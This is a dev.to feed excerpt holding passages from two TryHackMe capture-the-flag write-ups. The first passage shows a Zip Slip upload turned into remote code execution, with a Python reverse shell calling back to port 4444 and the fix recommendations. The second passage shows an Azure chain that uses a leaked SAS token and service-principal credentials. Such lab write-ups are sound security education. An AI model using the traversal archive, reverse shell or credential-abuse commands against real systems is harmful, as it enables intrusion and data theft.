    &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writestr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;shell.json&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;slip7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;assets&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:[]}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writestr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;../../static/poc.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PWNED_STATIC&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirmed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;shells/&amp;lt;id&amp;gt;/&lt;/code&gt; sits two directory levels below the app root&lt;/li&gt;
&lt;li&gt;No sanitization on extraction - a raw &lt;code&gt;zipfile.extractall()&lt;/code&gt;-style
write, or manual path join with no traversal check&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;../../static/&lt;/code&gt; lands in the real Flask &lt;code&gt;static/&lt;/code&gt; directory, which is
directly web-servable - giving an easy read-back oracle for further
tests&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(Absolute paths and multi-level &lt;code&gt;....//&lt;/code&gt; traversal were also tried&lt;br&gt;
before this and consistently 404'd - the &lt;code&gt;../../&lt;/code&gt; relative form was&lt;br&gt;
what worked here.)&lt;/p&gt;
&lt;h2&gt;
  
  
  From write primitive to command execution
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;hooks&lt;/code&gt; field in &lt;code&gt;shell.json&lt;/code&gt; accepted arbitrary keys without&lt;br&gt;
rejecting the upload (e.g. &lt;code&gt;{"hooks":{"pre":"id"}}&lt;/code&gt; uploaded and&lt;br&gt;
persisted cleanly), but no observable side effect confirmed execution on&lt;br&gt;
its own. Rather than keep guessing the schema blind, the write primitive&lt;br&gt;
from Zip Slip was reused to drop a script into a &lt;code&gt;hooks/&lt;/code&gt; directory two&lt;br&gt;
levels above the extraction folder, referenced from the manifest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reverse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;assets&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hooks&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pre&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python3 hooks/callback.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;callback&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'''&lt;/span&gt;&lt;span class="s"&gt;import socket,os,pty
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.159.28&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,4444))
for fd in (0,1,2):
    os.dup2(sock.fileno(),fd)
pty.spawn(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;)
&lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ZipFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reverse-shell.zip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writestr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shell.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writestr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;../../hooks/callback.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"shell=@reverse-shell.zip"&lt;/span&gt; http://10.48.182.209:5000/upload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listener caught a shell within seconds of upload, confirming the theme&lt;br&gt;
worker executes the &lt;code&gt;hooks.pre&lt;/code&gt; value as a shell command shortly after a&lt;br&gt;
new shell lands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; tryhackme-2404 10.48.182.209 Linux-x86_64
    roomservice(996)  Session ID &amp;lt;1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Post-exploitation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;roomservice@tryhackme-2404:/var/www/conch$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)

&lt;/span&gt;&lt;span class="gp"&gt;roomservice@tryhackme-2404:/var/www/conch$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;__pycache__  app.py  hooks  requirements.txt  shells  static  templates  theme_worker.py  venv
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The directory listing confirms the guessed architecture:&lt;br&gt;
&lt;code&gt;app.py&lt;/code&gt; (Flask handlers), a separate &lt;code&gt;theme_worker.py&lt;/code&gt; (the background&lt;br&gt;
process polling &lt;code&gt;shells/&lt;/code&gt; and executing &lt;code&gt;hooks&lt;/code&gt;), and &lt;code&gt;hooks/&lt;/code&gt; as a real,&lt;br&gt;
attacker-writable directory one level short of what was traversed to&lt;br&gt;
(confirming the app root is exactly two levels above &lt;code&gt;shells/&amp;lt;id&amp;gt;/&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;roomservice@tryhackme-2404:/var/www/conch$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/roomservice/flag.txt
&lt;span class="go"&gt;THM{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root cause
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zip Slip&lt;/strong&gt; - zip extraction trusted member paths verbatim, allowing
writes anywhere the process had permissions relative to
&lt;code&gt;shells/&amp;lt;id&amp;gt;/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unsandboxed hook execution&lt;/strong&gt; - &lt;code&gt;theme_worker.py&lt;/code&gt; reads
&lt;code&gt;hooks.pre&lt;/code&gt; (or a referenced script) from user-supplied manifests and
executes it as a shell command with no allowlist, sandboxing, or
validation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Either flaw alone would have been serious; together they turn an&lt;br&gt;
"upload a themed zip" feature into unauthenticated-adjacent (single&lt;br&gt;
low-privilege session) RCE.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Sanitize every zip member path on extraction: reject entries containing
&lt;code&gt;..&lt;/code&gt;, absolute paths, or resolve each target path and verify it stays
within the intended extraction directory before writing.&lt;/li&gt;
&lt;li&gt;Never execute user-controlled strings as shell commands. If hooks are
a required feature, use a fixed, non-executable declarative format
(e.g. a small allowlist of named theme operations) rather than passing
arbitrary strings to a shell.&lt;/li&gt;
&lt;li&gt;Run the extraction and worker processes with the minimum filesystem
permissions needed - a chrooted or containerized extraction target
would have contained this even with the traversal bug present.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : CryptoCabana Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 16:38:58 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-cryptocabana-writeup-4hel</link>
      <guid>https://dev.to/exploitnotes/tryhackme-cryptocabana-writeup-4hel</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A low-privilege Azure user with only &lt;code&gt;Reader&lt;/code&gt; on one resource group&lt;/li&gt;
&lt;li&gt;A publicly exposed Storage Account SAS token leaked in client-side JavaScript&lt;/li&gt;
&lt;li&gt;Service Principal credentials sitting unprotected in that same storage account&lt;/li&gt;
&lt;li&gt;A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Confirm the Starting Foothold
&lt;/h2&gt;

&lt;p&gt;The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az account show
az role assignment list &lt;span class="nt"&gt;--assignee&lt;/span&gt; usr-08044275@thmctf.onmicrosoft.com &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principal                            Role    Scope
-----------------------------------  ------  -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com  Reader  /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Reader&lt;/strong&gt; on a single resource group called &lt;code&gt;rg-cloudshell-only&lt;/code&gt;. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Find the Public Static Website
&lt;/h2&gt;

&lt;p&gt;The resource group name (&lt;code&gt;cryptocabana-rg&lt;/code&gt;) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once &lt;code&gt;$web&lt;/code&gt; is enabled - no auth required to view them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads &lt;code&gt;app.js&lt;/code&gt;, so that's the next thing to pull.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;STORAGE_ACCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cryptocabanaf5scjagc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUPS_CONTAINER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;backups&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUP_SAS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This is the actual vulnerability.&lt;/strong&gt; A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ss=b&lt;/code&gt; - scoped to Blob service&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;srt=sco&lt;/code&gt; - applies to service, container, and object level&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sp=rl&lt;/code&gt; - &lt;strong&gt;read + list&lt;/strong&gt; permissions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;se=2099-12-31&lt;/code&gt; - expires in the year 2099 (i.e., effectively never)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser &lt;code&gt;PUT&lt;/code&gt; a backup blob.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Enumerate the Storage Account with the Leaked SAS
&lt;/h2&gt;

&lt;p&gt;With &lt;code&gt;sp=rl&lt;/code&gt; we can list every container, not just &lt;code&gt;backups&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three containers come back: &lt;code&gt;$web&lt;/code&gt; (the site itself), &lt;code&gt;backups&lt;/code&gt; (empty - no one's fallen for the phishing yet), and &lt;strong&gt;&lt;code&gt;vault&lt;/code&gt;&lt;/strong&gt; - not referenced anywhere in the site's own code. That's worth listing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&amp;amp;comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Blobs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Blob&amp;gt;&amp;lt;Name&amp;gt;&lt;/span&gt;backup-service-account.json&lt;span class="nt"&gt;&amp;lt;/Name&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/Blob&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Blob&amp;gt;&amp;lt;Name&amp;gt;&lt;/span&gt;seed_phrase.txt&lt;span class="nt"&gt;&amp;lt;/Name&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/Blob&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Blobs&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both are worth pulling. &lt;code&gt;seed_phrase.txt&lt;/code&gt; is in-universe flavor (a decoy "wallet" secret). &lt;code&gt;backup-service-account.json&lt;/code&gt; is the real prize:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_secret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ccabana-kv-f5scjagc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://ccabana-kv-f5scjagc.vault.azure.net/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tenant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Authenticate as the Service Principal
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az login &lt;span class="nt"&gt;--service-principal&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--username&lt;/span&gt; dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--password&lt;/span&gt; &lt;span class="s1"&gt;'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tenant&lt;/span&gt; 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Hit a Wall on Key Vault RBAC
&lt;/h2&gt;

&lt;p&gt;The obvious next move is grabbing &lt;code&gt;master-key&lt;/code&gt; straight away:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; master-key &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;(Forbidden)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Caller&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;authorized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;perform&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;resource.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Action:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'Microsoft.KeyVault/vaults/secrets/getSecret/action'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Inner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;error:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ForbiddenByRbac"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vault uses &lt;strong&gt;RBAC authorization mode&lt;/strong&gt;, not the older vault access-policy model, and this SP has no role assignment on it - &lt;code&gt;az role assignment list --assignee dbcf2923-...&lt;/code&gt; comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not &lt;code&gt;master-key&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Rather than fight the RBAC wall on &lt;code&gt;master-key&lt;/code&gt;, try what the SP &lt;em&gt;can&lt;/em&gt; read:&lt;br&gt;
&lt;/p&gt;

